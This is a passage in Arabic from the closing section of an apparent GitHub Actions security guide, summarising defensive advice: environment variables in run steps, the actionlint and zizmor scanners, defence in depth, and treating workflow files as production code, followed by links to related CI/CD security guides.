run:— استخدم دائمًا متغيرات البيئة. - الفحص الآلي باستخدام actionlint وzizmor يكتشف ما تفوته المراجعة اليدوية. استخدم كلتا الأداتين في خط أنابيب CI الخاص بك — actionlint للصحة والأمان الأساسي، وzizmor للتحليل الأمني العميق.
- الدفاع العميق ضروري. لا يكفي عنصر تحكم واحد. ادمج التثبيت والفحص والقوائم البيضاء وCODEOWNERS والمراقبة لحماية شاملة.
- عامل ملفات مسارات العمل كشيفرة إنتاج. تستحق نفس عمليات المراجعة والاختبار وإدارة التغيير كشيفرة تطبيقك.
الخطوات التالية
واصل بناء معرفتك بأمان CI/CD مع هذه الأدلة ذات الصلة:
- الأنماط الدفاعية والتخفيفات لهجمات خطوط أنابيب CI/CD — تعلّم استراتيجيات دفاعية أوسع لحماية خط أنابيب CI/CD بالكامل بما يتجاوز GitHub Actions فقط.
- نماذج تنفيذ CI/CD وافتراضات الثقة — فهم حدود الثقة ونماذج التنفيذ التي تدعم أمان CI/CD، وكيفية تصميم خطوط الأنابيب بافتراضات الأمان أولاً.